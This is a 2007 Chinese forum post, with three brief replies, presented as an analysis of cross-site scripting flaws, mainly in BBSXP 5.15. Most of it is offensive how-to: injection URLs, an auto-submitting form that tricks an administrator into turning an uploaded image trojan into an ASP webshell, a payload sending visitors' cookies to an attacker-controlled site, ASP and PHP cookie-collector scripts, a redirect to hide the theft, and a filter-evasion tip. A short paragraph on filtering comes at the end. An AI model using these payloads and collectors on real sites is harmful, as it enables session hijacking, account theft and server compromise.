职业IT人-IT人生活圈

 找回密码
 成为会员
搜索
查看: 2626|回复: 3

浅析Script脚本跨站攻击漏洞技术

[复制链接]
一路顺风 发表于 2007-12-13 12:50 | 显示全部楼层 |阅读模式
所谓跨站漏洞呢?其实这和现在比较热门的SQL注入的原理有异曲同工之处,都是由于程序员在写程序的时候对一些变量没有做充分的过滤,或者没做任何的过滤就直接把用户提交的数据送到SQL语句里执行,这样导致了用户

所提交的一些特意构造的语句 一般都是带有象JAVAScript等这类脚本代码,这样在服务里一旦被执行就形成了所谓的跨站攻击了。一般来说对于人机交互行比较高的程序,比如论坛,留言版这类程序都比较容易存在跨站script攻击。

如何判断一个程序是否存在跨站漏洞呢?分析程序是最直接的方法了,比如最近搞的很火的BBSXP5.15的跨站

漏洞,因为有大虾已经详细的介绍了,偶也就不在详述了,简单的说一下在cookies.asp文件里有这么一句

Response.Cookies(\"skins\")=\"\"&Request(\"no\")&\"\"然后在setup.asp里

response.write \"<html><head><meta http-equiv=Content-Type content=text/html;charset=gb2312></head>
<link href=images/skins/\"&Request.Cookies(\"skins\")&\"/bbs.css rel=stylesheet><script src=inc/BBSxp.js></script>
<script src=inc/ybb.js></script><script src=images/skins/\"&Request.Cookies(\"skins\")&\"/bbs.js></script>\"


我们可以看到,只要构造符合条件的skin的NO,然后在闭合前面的一个\"<\"接着就可以在后面加上我们的<script脚本了

比如:
http://xxx.xxxx.xxx/cookies.asp?menu=skins&no=4><script>document.write(’<IFRAME marginWidth=100 marginHeight=100 src=\"http://www.baidu.com\"frameBorder=100width=0scrolling=noheight=0to ... gin=\"0\"></IFRAME>’);</script><script>


这样提交就可以达到我们的跨站目的了,(这个我动画里已经有演示了)

而跟深一层的利用,我们则可以构造表单,迷惑管理员点我们的帖子,或者联接。比如我们构造

http://127.0.0.1/bbsxp/page2.asp?username=<body onload=\"javascript:document.forms[0].submit()\">

<form action=\"http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf\" method=\"post\">
<input value=\"/UploadFile/2005-5/200512365.jpg\" name=\"yl\" >
<input value=\"database/haha.asp\" name=\"bf\" >
</body></html>
/UploadFile/2005-5/200512365.jpg
这是你的ASP图片木马

这样我们就如果让管理员浏览了我们的留言,那么这个脚本就会自动把/UploadFile/2005-5/200512365.jpg

备份成database/haha.asp。我们也就有了可爱的webshell了。而为什么要管理员浏览才有效呢?因为服务器上是存在cookies和session机制的

而session其实是在服务器端的tmp目录下的某一个文件中为每个用户储存一些变量,对session的操作其实是对文件读写操作。

seesion是每个用户都有自己的session。他们的生命周期一般是用户打开某网站浏览器到关闭与次网站连接所

有的浏览器后结束。cookie这是在用户端的存贮机制,他需要用户的打开cookie支持,所以只有管理才有权利把我们JPG备份在ASP
  
现在大家用的比较常见的就是盗取cookies而后欺骗,或者利用社会工程学进一步入侵比如我们构造下面的脚本代码就可以盗取用户cookies了

javascript:window.open(‘http://xxx.xxx.xxx/cookies.asp?msg=’+document.cookie)

其中http://xxx.xxx.xxx/是大家自己网站空间,cookies.asp是一个asp脚本用于收集

msg后边跟的参数,而参数我们指定的是document.cookie,也就是访问此贴用户的cookie。

cookies.asp的代码是:
<%

testfile=Server.MapPath(\"hun.txt\")

msg=Request(\"msg\")

set fs=server.CreateObject(\"scripting.filesystemobject\")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(\"\"&msg& \"\")

thisfile.close

set fs = nothing

%>

这样所有访问者的cookie都会收集在hun.txt这个文件里

但是访问者访问我们的帖子,同样会访问到我们的网站的,这样不是露馅了吗?呵呵,但只要我们稍做处理

就可以做的相对真实,比如我们加上下面的代码

<script language=vbscript>
window.location.href=\"http://xxx.xxx.xxx\"
</script>

这个xxx.xxx.xxx最好换成你攻击的网站的域名,这样做的目的是在他访问我们精心构造的网站同时开打他

自己的网站,呵呵,这样是不是会更隐蔽一点呢?

这个cookies.asp和有一个同样作用的cookies.php一样,附代码如下:
<?php
$info = getenv(\"QUERY_STRING\");
if ($info) {
$fp = fopen(\"cookies.txt\",\"a\");
fwrite($fp,$info.\"\\n\");
fclose($fp);
}
?>

但是大部份做的不错的论坛,都过滤了javascript这些字符。不过还是有方法可以利用的,

可以在论坛发的贴里将javascript写成ascii码。像j可以写成”j”
  
防范的方法,就是过滤字符像javascript/<script>/’/;/&/#了等等,

当然前提是你的网页还要正常显示。建议大家不要轻易打开一些不明url,要将自己的信箱、论坛、QQ等资料的密码设的都不一样,

如果一旦资料或密码被盗,避免引连锁反应,所有资料和密码都被别人获得。这就要用到博大精深是社会工程学了。

总结一下吧。跨站的技巧性很强,呵呵大家多积累经验用起来会达到事半功倍的效果。本文很多地方都

借见了国内的牛人的好思路。由于本人能力有限,文中不免会有错误之处,还请大家多多指教。
Jethro 发表于 2011-7-29 10:06 | 显示全部楼层
厉害!强~~~~没的说了!
叫我小乖 发表于 2011-7-29 10:06 | 显示全部楼层
你你你你 呵呵~~~~别这样哦.....
江波 发表于 2011-8-15 09:15 | 显示全部楼层
很有吸引力
您需要登录后才可以回帖 登录 | 成为会员

本版积分规则

QQ|手机版|小黑屋|网站帮助|职业IT人-IT人生活圈 ( 粤ICP备12053935号-1 )|网站地图
本站文章版权归原发布者及原出处所有。内容为作者个人观点,并不代表本站赞同其观点和对其真实性负责,本站只提供参考并不构成任何投资及应用建议。本站是信息平台,网站上部分文章为转载,并不用于任何商业目的,我们已经尽可能的对作者和来源进行了通告,但是能力有限或疏忽造成漏登,请及时联系我们,我们将根据著作权人的要求立即更正或者删除有关内容。

GMT+8, 2024-3-29 06:20 , Processed in 0.122466 second(s), 20 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表